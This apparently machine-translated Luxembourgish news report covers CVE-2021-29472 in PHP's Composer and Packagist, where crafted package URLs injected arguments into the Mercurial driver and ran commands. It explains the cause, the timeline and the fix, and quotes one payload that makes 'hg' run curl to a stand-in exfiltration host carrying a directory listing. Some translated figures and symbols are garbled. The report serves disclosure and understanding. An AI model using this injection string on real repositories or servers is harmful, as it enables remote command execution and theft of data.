Schwachstelle am Composer Package Manager deen de Packagist PHP Repository erlaabt kompromittéiert ze ginn

Eng kritesch Schwachstelle (CVE-2021-29472) gouf am Composer Ofhängegkeetsmanager identifizéiert, deen et erlaabt arbiträr Kommandoen am System auszeféieren wann e Package mat engem speziell formatéierten URL-Wäert veraarbecht gëtt, deen d'Adress spezifizéiert fir de Quellcode erofzelueden. De Problem geschitt an de GitDriver, SvnDriver, an HgDriver Komponenten déi benotzt gi wann Dir Git, Subversion a Mercurial Quellkontrollsystemer benotzt. D'Vulnerabilitéit gouf a Composer Releases 1.10.22 an 2.0.13 geléist.

Et gëtt speziell bemierkt datt d'Thema haaptsächlech dem Composer säi Standard Package Repository beaflosst, Packagist, deen 306 Packagen fir PHP Entwéckler enthält a méi wéi 1.4 Milliarde Downloads pro Mount servéiert. D'Experiment huet gewisen datt wann et Wëssen iwwer de Problem gëtt, d'Ugräifer d'Kontroll iwwer d'Packagist Infrastruktur kréien an d'Umeldungsinformatioune vun den Ënnerhalter offangen oder Pakete-Downloads op en Drëtt-Partei-Server z'organiséieren, d'Liwwerung vu Packagevarianten mat béiswëlleg Ännerungen z'ersetzen fir eng Backdoor z'ersetzen. während der Ofhängegkeet Installatioun Prozess.

D'Gefor fir Endbenotzer ass limitéiert op d'Tatsaach datt den Inhalt vu composer.json normalerweis vum Benotzer bestëmmt gëtt, a Quelllinks ginn iwwerdroe wann Dir Zougang zu Drëttpartei Repositories kritt, déi normalerweis vertrauenswierdeg sinn. Den Haaptschlag ass op de Packagist.org Repository an de Private Packagist Service gefall, deen de Composer genannt huet mam Transfert vun Daten, déi vun de Benotzer kritt goufen. Ugräifer kéinten hire Code op Packagist Serveren ausféieren andeems se e speziell entworfene Package setzen.

D'Packagist Team fixéiert d'Schwachheet bannent 12 Stonnen nodeems d'Schwachheet gemellt gouf. D'Fuerscher hunn d'Packagist Entwéckler privat den 22. Abrëll matgedeelt, an de Problem gouf dee selwechten Dag fixéiert. En ëffentlechen Update vum Composer mat der Schwachstelle gouf de 27. Abrëll publizéiert, mat Detailer opgedeckt den 28. Abrëll. En Audit vu Logbicher op Packagist Serveren huet keng verdächteg Aktivitéit am Zesummenhang mat der Schwachstelle opgedeckt.

De Problem ass verursaacht duerch e Feeler am URL Validatiounscode an der root composer.json Datei a Quell Downloadlinks. De Feeler ass zënter November 2011 am Code präsent. Packagist benotzt speziell Schichten fir Code Lueden z'organiséieren ouni un engem spezifesche Quellkontrollsystem gebonnen ze sinn, déi ausgefouert ginn andeems Dir "fromShellCommandline" rufft an Kommandozeilargumenter passéiert. Zum Beispill, fir git, gëtt de Kommando "git ls-remote -heads $URL" genannt, wou d'URL mat der "ProcessExecutor::escape($url)" Method veraarbecht gëtt, a potenziell geféierlech Konstrukter wéi "$(. ..)" oder "` ...`".

De Kär vum Problem ass datt d'ProcessExecutor :: Flucht Method net aus der "—" Sequenz entkomm ass, wat et erlaabt huet datt all zousätzlech Uruffparameter an der URL spezifizéiert ginn. Esou Flucht gouf an de GitDriver.php, SvnDriver.php an HgDriver.php Treiber gefeelt. D'GitDriver.php Attack gouf vun der Tatsaach behënnert datt de Kommando "git ls-remote" net ënnerstëtzt huet zousätzlech Argumenter nom Wee ze spezifizéieren. En Attack op HgDriver.php huet sech als méiglech erausgestallt andeems de Parameter "--config" an den "hq" Utility passéiert, wat Iech erlaabt d'Ausféierung vun all Kommando ze organiséieren andeems Dir d'Astellung "alias.identify" manipuléiert. Zum Beispill, fir de Code erofzelueden an auszeféieren andeems Dir de Curl Utility leeft, kënnt Dir spezifizéieren: —config=alias.identify=!curl http://exfiltration-host.tld —data "$(ls -alh)"

Andeems Dir en Testpaket mat enger ähnlecher URL op Packagist gepost huet, hunn d'Fuerscher verifizéiert datt nom Posten hire Server eng HTTP-Ufro vun engem vun de Packagist Serveren an AWS kritt huet mat enger Lëscht vu Dateien am aktuellen Verzeechnes.

Source: opennet.ru

Setzt e Commentaire